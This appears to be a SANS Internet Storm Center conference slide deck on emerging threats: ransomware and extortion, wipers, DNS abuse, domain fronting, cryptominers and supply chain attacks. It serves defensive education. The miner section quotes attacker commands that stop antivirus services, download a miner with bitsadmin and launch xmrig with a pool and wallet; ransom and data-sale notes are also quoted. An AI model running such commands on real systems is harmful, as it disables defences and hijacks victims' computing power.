Emerging threats by SANS Internet Storm Center

Bojan Zdrnja | bojan.zdrnja@infigo.hr | @bojanz on Twitter
Agenda

- About me
- About SANS Internet Storm Center
- Emerging threats
  - Creative uses of stolen information
  - Ransomware and wiper malware
    - A case study on “a really bad hack”
  - DNS abuse and Domain Fronting
  - Miners everywhere
  - Supply chain attacks
About me

- Bojan Ždrnja, Twitter: @bojanz
- CTO at INFIGO IS
  - https://www.infigo.hr or https://www.infigo.ae
  - Penetration testing team lead
- SEC542 and SEC504 instructor
  - Many GIAC certs (yeah, I’m addicted)
    - GCIA, GCIH, GMOB, GWAPT, GXPN, GMON, GREM
- SANS Internet Storm Center handler
  - https://isc.sans.edu
Incidents.org

• Started by SANS in 1999
• Meant to facilitate information sharing during Y2K
• People liked it... stuck around after Y2K
What is the “SANS Internet Storm Center”

- Global Network Security Information Sharing Community
  - Participants from dozens of countries
  - Automated as well as manual sharing of network security incident information
  - Many ways to share and consume data (always evolving)
  - Still a strong hobbyist base, but also many “commercial” users
  - Data made available via website in real time with little filtering
  - Often shared with researchers
Emerging threats by SANS Internet Storm Center
Creative uses of stolen information with ransomware

- As every incident, this one also happened before a weekend
  - Initially looked as a ransomware case
    - Which is not that interesting – by now everybody knows (or should know) how to deal with it ...
- There was something different though
  - Upon boot, this message was displayed on every server

Malware You are Hacked !!! Your H.D.D Encrypted,
Contact Us For Decryption Key
(w889901665@yandex.com) YOURID: 123141
And this was printed on every printer in the company

FULL BIN
(100+EMP,10+YO,MERCH)

For sale is:

- private RSA key for data decryption of ~1TB of docs from main network share + decryptor software
- passwords + AES/SERPANT keys + software for pc/server decrypt
- full instructions on how to restore all systems and data back
- full logs and info how we broke your security and what we did
- 45GB SQL database, big mdb base, +500k mail, full web (wp) with sql, about 1.5 TB of data (docs, cad files,)
- login to multiple banks (broke token hashes, very big balance but chancing rapidly! careful), 3 AMEX buissns cards, 1 AMEX gold card, 3 MASTER/VISA cards.. all cards fresh, got them in 2017 with banking malware and big limits! got NUMBER, NAME SURNAME, EXP DATE, CVV + ID SCANS for owners of cards (TWO OF ARE BOARD MEMBERS!!!!, scans are from their employee/court data)
- personal files from CEO and financial director (3 gb of personal emails, docs containing personal love affairs, scams.., personal photos, full whatsapp dump from CEO phone with pictures)

price is 100BTC (we can make deal here if fast payment or you don't want all of above) OR 500k USD wire transfer to china. all other info and send bids to equinoxteam@yandex.ru
Still opportunistic, but professional

- This was obviously done by professionals
  - Targeted attack (probably by exploiting exposed vulnerable services)
    - It was not a typical ransomware infection through spear phishing
  - Privilege escalation followed by lateral movement/pivoting and information gathering
  - Intruders were probably present for weeks if not months, since they took their time to exfiltrate the data
    - Demonstrated later by attackers by being extremely familiar with the hacked systems
The outcome

- The company ended up paying for the decryption keys
  - Lost ~70K EUR
  - Got systems partially back and could continue working
- Ransomware vs wiper malware
  - Ransomware cases still much, much more common
  - Wiper malware generally politically motivated today
    - Some examples: Shamoon, Petya, Olympic Destroyer
This happened a month ago

At this time, the attacker has formatted all the disks on every server. Every VM is lost. Every file server is lost, every backup server is lost. NL was 100% hosted with a vastly smaller dataset. NL backups by the provider were intact, and service should be up there.
DNS abuse

- Domain Name System is CRITICAL infrastructure
  - Translates domain names into IP addresses
- Common attacks include changing DNS records
  - Attackers first alter important DNS records (MX – mail, or web sites)
  - Obtain TLS certificates
    - The majority of CA’s today only check if you own the requested domain/host name
  - Run a relay to collect e-mails and various credentials
Domain Fronting

- Domain Fronting
  - Another common abuse
  - Typically used for hiding attacker’s web sites
    - C&C servers or servers used for data exfiltration
  - Abuse legitimate CDN’s
    - Front site on CDN, enterprise proxy sees only connection to a CDN
    - CDN relays connection to the attackers web server
    - Attacker use this channel to exfiltrate data
- Protect your DNS records, they are CRITICAL
  - Use two-factor authentication for management of DNS records
  - Use DNSSEC if possible (no .ae support yet)
- Use TLS interception at network borders to detect Domain Fronting
- Log and monitor DNS queries
  - This is probably one of the most important sources of security information on your network
Miners everywhere

- Weblogic vulnerability in May 2018
Evolution of attacks

Stealing your data and selling it to others

Stealing your data and selling it back to you (ransomware)

Stealing your (and your customers’) processing power
Step #1

- Disable the Anti Virus

```bash
net stop "McAfee McShield"
net stop mcafeeframework
```
Step #2

- Download the miner

```bash
bitsadmin.exe /transfer "xmrig.bat" /download /priority foreground
```
Step #3

- Get rid of competition, execute script and profit

```plaintext
taskkill /im /f xmrig.exe /t
xmrig.exe -o monerohash.com:3333 -u 42jF56tc85UTZwhMQc6rHbMHTxHqK74qS2zqLyRZxLbwegsy7F J9w4T5B69Ay5qeMEMuvVDwHNeopAxrEZkkHrMb5phovJ6 -p x --background --max-cpu-usage=50 --donate-level=1
```
Miners everywhere

- 200K EUR total
- 30K / month
- Monero is by far the most popular
- Others mine Aeon but payouts tend to be smaller
Miners everywhere

- We are seeing more miners deployed everywhere
  - Starting with compromised web sites and injected JavaScript
    - Browser miners
  - Compromised machines and IoT devices
- Perfect for attackers
  - No need to have proper C&C
  - Just need to keep extending botnets
- Monitor outgoing connections from your networks
  - https://isc.sans.edu/api/threatlist/miner
Supply chain attacks

- Probably the biggest worry for targeted attacks
  - Security of our systems depends on 3rd party software vendors
    - They can be an easy target for attackers
- Simple attacks
  - Place malware/trojans on a vendor’s site
  - Or compromise a supplier/3rd party that has access to the target’s network
    - The Target breach in 2014
      - Caused by bad security at an HVAC vendor
Supply chain attacks

- Sophisticated
  - Modify code base and inject malware/trojans
    - CCleaner: infect 2+ million machines and attack only ~40
    - Kingslayer, PyPi (Python Package Index), XcodeGhost, many other ...
  - Provide significant attack surface
- Single point of failure
  - Most enterprises and users simply install and update trusted software
    - We have been telling them for years to quickly update everything
- Need proper oversight of all third-party risks
A *very* fresh example

**Operation ShadowHammer**

By GReAT on March 25, 2019. 1:01 pm

Earlier today, Motherboard published a story by Kim Zetter on Operation ShadowHammer, a newly discovered supply chain attack that leveraged ASUS Live Update software.

While the investigation is still in progress and full results and technical paper will be published during SAS 2019 conference in Singapore, we would like to share some important details about the attack.

In January 2019, we discovered a sophisticated supply chain attack involving the ASUS Live Update Utility. The attack took place between June and November 2018 and according to our telemetry, it affected a large number of users.

ASUS Live Update is an utility that is pre-installed on most ASUS computers and is used to automatically update certain components such as BIOS, UEFI, drivers and applications. According to Gartner, ASUS is the world’s 5th-largest PC vendor by 2017 unit sales. This makes it an extremely attractive target for APT groups that might want to take advantage of their userbase.

Based on our statistics, over 57,000 Kaspersky users have downloaded and installed the backdoored version of ASUS Live Update at some point in time. We are not able to calculate the total count of affected users based only on our data, however, we estimate that the real scale of the problem is much bigger and is possibly affecting over a million users worldwide.
Is there light at the end of the tunnel?

- No silver bullets
  - Must invest in both technology and education
    - Without proper education (experience and skills), even the most powerful tools will fail
- Attack and defense techniques constantly change and evolve
  - Pay attention to both red and blue teaming (purple is hot right now!)
  - Have to deal with shortfall of talent in our industry
- Defense in depth / Security monitoring / Testing security
- And of course, user awareness
Questions?

https://isc.sans.edu